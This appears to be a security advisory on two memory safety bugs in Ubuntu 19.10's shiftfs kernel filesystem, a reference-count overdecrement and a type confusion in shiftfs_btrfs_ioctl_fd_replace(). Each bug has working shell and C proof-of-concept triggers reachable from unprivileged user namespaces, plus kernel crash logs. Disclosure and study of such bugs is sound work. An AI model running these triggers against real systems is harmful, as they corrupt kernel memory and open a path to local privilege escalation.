Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".

Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
doesn't exist upstream. This filesystem can be mounted from user namespaces,
meaning that this is attack surface from unprivileged userspace in the default
installation.

There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace().

#################### Bug 1: Flawed reference counting ####################

In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):


	src = fdget(oldfd);
	if (!src.file)
		return -EINVAL;
	// src holds one reference (assuming multithreaded execution)

	ret = shiftfs_real_fdget(src.file, lfd);
	// lfd->file is a file* now, but shiftfs_real_fdget didn't take any
	// extra references
	fdput(src);
	// this drops the only reference we were holding on src, and src was
	// the only thing holding a reference to lfd->file. lfd->file may be
	// dangling at this point.
	if (ret)
		return ret;

	*newfd = get_unused_fd_flags(lfd->file->f_flags);
	if (*newfd < 0) {
		// always a no-op
		fdput(*lfd);
		return *newfd;
	}

	fd_install(*newfd, lfd->file);
	// fd_install() consumes a counted reference, but we don't hold any
	// counted references. so at this point, if lfd->file hasn't been freed
	// yet, its refcount is one lower than it ought to be.

	[...]

	// the following code is refcount-neutral, so the refcount stays one too
	// low.
	if (ret)
		shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);


shiftfs_real_fdget() is implemented as follows:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
	struct shiftfs_file_info *file_info = file->private_data;
	struct file *realfile = file_info->realfile;

	lowerfd->flags = 0;
	lowerfd->file = realfile;

	/* Did the flags change since open? */
	if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
		return shiftfs_change_flags(lowerfd->file, file->f_flags);

	return 0;
}

Therefore, the following PoC will cause reference count overdecrements; I ran it
with SLUB debugging enabled and got the following splat:

=======================================
user@ubuntu1910vm:~/shiftfs$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
#!/bin/sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
touch mnt/tmpfs/foo
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>

int main(void) {
  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = openat(root, "foo", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
  sleep(1);
  void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
  if (map != MAP_FAILED) munmap(map, 0x1000);
}
user@ubuntu1910vm:~/shiftfs$ ./run.sh
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[  183.463452] general protection fault: 0000 [#1] SMP PTI
[  183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[  183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[  183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[  183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[  183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[  183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[  183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[  183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[  183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[  183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[  183.499011] FS:  00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[  183.501679] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[  183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  183.510580] Call Trace:
[  183.511396]  mmap_region+0x417/0x670
[  183.512592]  do_mmap+0x3a8/0x580
[  183.513655]  vm_mmap_pgoff+0xcb/0x120
[  183.514863]  ksys_mmap_pgoff+0x1ca/0x2a0
[  183.516155]  __x64_sys_mmap+0x33/0x40
[  183.517352]  do_syscall_64+0x5a/0x130
[  183.518548]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  183.520196] RIP: 0033:0x7f1d01bfaaf6
[  183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
[  183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
[  183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
[  183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
[  183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
[  183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
[  183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
[  183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
[  183.560350] ---[ end trace 4a860910803657c2 ]---
[  183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
[  183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
[  183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
[  183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
[  183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
[  183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
[  183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
[  183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
[  183.582411] FS:  00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
[  183.584960] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
[  183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
=======================================

Disassembly of surrounding code:

55                push rbp
4889E5            mov rbp,rsp
4157              push r15
4156              push r14
4155              push r13
4154              push r12
488B87C8000000    mov rax,[rdi+0xc8]
4C8B6810          mov r13,[rax+0x10]
498B4528          mov rax,[r13+0x28]
4883786000        cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
0F8497000000      jz near 0xcc
4989FC            mov r12,rdi
4989F6            mov r14,rsi

This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
think this corresponds to the load of "realfile->f_op->mmap" in the source code.



#################### Bug 2: Type confusion ####################

shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
passes the resulting file* into shiftfs_real_fdget(), which does this:

static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
{
	struct shiftfs_file_info *file_info = file->private_data;
	struct file *realfile = file_info->realfile;

	lowerfd->flags = 0;
	lowerfd->file = realfile;

	/* Did the flags change since open? */
	if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
		return shiftfs_change_flags(lowerfd->file, file->f_flags);

	return 0;
}

file->private_data is a void* that points to a filesystem-dependent type; and
some filesystems even use it to store a type-cast number instead of a pointer.
The implicit cast to a "struct shiftfs_file_info *" can therefore be a bad cast.

As a PoC, here I'm causing a type confusion between struct shiftfs_file_info
(with ->realfile at offset 0x10) and struct mm_struct (with vmacache_seqnum at
offset 0x10), and I use that to cause a memory dereference somewhere around
0x4242:


=======================================
user@ubuntu1910vm:~/shiftfs_confuse$ cat run.sh
#!/bin/sh
sync
unshare -mUr ./run2.sh
user@ubuntu1910vm:~/shiftfs_confuse$ cat run2.sh
#!/bin/sh
set -e

mkdir -p mnt/tmpfs
mkdir -p mnt/shiftfs
mount -t tmpfs none mnt/tmpfs
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
mount|grep shift
gcc -o ioctl ioctl.c -Wall
./ioctl
user@ubuntu1910vm:~/shiftfs_confuse$ cat ioctl.c
#include <sys/ioctl.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <linux/btrfs.h>
#include <sys/mman.h>

int main(void) {
  // make our vmacache sequence number something like 0x4242
  for (int i=0; i<0x4242; i++) {
    void *x = mmap((void*)0x100000000UL, 0x1000, PROT_READ,
        MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
    if (x == MAP_FAILED) err(1, "mmap vmacache seqnum");
    munmap(x, 0x1000);
  }

  int root = open("mnt/shiftfs", O_RDONLY);
  if (root == -1) err(1, "open shiftfs root");
  int foofd = open("/proc/self/environ", O_RDONLY);
  if (foofd == -1) err(1, "open foofd");
  // trigger the confusion
  struct btrfs_ioctl_vol_args iocarg = {
    .fd = foofd
  };
  ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
}
user@ubuntu1910vm:~/shiftfs_confuse$ ./run.sh
none on /home/user/shiftfs_confuse/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
/home/user/shiftfs_confuse/mnt/tmpfs on /home/user/shiftfs_confuse/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
[  348.103005] BUG: unable to handle page fault for address: 0000000000004289
[  348.105060] #PF: supervisor read access in kernel mode
[  348.106573] #PF: error_code(0x0000) - not-present page
[  348.108102] PGD 0 P4D 0 
[  348.108871] Oops: 0000 [#1] SMP PTI
[  348.109912] CPU: 6 PID: 2192 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
[  348.112109] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
[  348.114460] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[  348.116166] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[  348.121578] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[  348.123097] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[  348.125174] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[  348.127222] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[  348.129288] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[  348.131358] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[  348.133421] FS:  00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[  348.135753] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  348.137413] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[  348.139451] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  348.141516] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[  348.143545] Call Trace:
[  348.144272]  shiftfs_ioctl+0x65/0x76 [shiftfs]
[  348.145562]  do_vfs_ioctl+0x407/0x670
[  348.146620]  ? putname+0x4a/0x50
[  348.147556]  ksys_ioctl+0x67/0x90
[  348.148514]  __x64_sys_ioctl+0x1a/0x20
[  348.149593]  do_syscall_64+0x5a/0x130
[  348.150658]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  348.152108] RIP: 0033:0x7f77fa76767b
[  348.153140] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d e5 27 0d 00 f7 d8 64 89 01 48
[  348.158466] RSP: 002b:00007ffd875582e8 EFLAGS: 00000217 ORIG_RAX: 0000000000000010
[  348.160610] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f77fa76767b
[  348.162644] RDX: 00007ffd87558310 RSI: 0000000050009401 RDI: 0000000000000003
[  348.164680] RBP: 00007ffd87559320 R08: 00000000ffffffff R09: 0000000000000000
[  348.167456] R10: 0000000000000000 R11: 0000000000000217 R12: 0000561c135ee100
[  348.169530] R13: 00007ffd87559400 R14: 0000000000000000 R15: 0000000000000000
[  348.171573] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm snd_hda_codec_generic irqbypass ledtrig_audio crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec ghash_clmulni_intel snd_hda_core snd_hwdep aesni_intel aes_x86_64 snd_pcm crypto_simd cryptd glue_helper snd_seq_midi joydev snd_seq_midi_event snd_rawmidi snd_seq input_leds snd_seq_device snd_timer serio_raw qxl snd ttm drm_kms_helper mac_hid soundcore drm fb_sys_fops syscopyarea sysfillrect qemu_fw_cfg sysimgblt sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid psmouse i2c_i801 ahci virtio_net lpc_ich libahci net_failover failover virtio_blk
[  348.188617] CR2: 0000000000004289
[  348.189586] ---[ end trace dad859a1db86d660 ]---
[  348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[  348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[  348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[  348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[  348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[  348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[  348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[  348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[  348.210395] FS:  00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[  348.212710] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[  348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[  348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Killed
user@ubuntu1910vm:~/shiftfs_confuse$ 
=======================================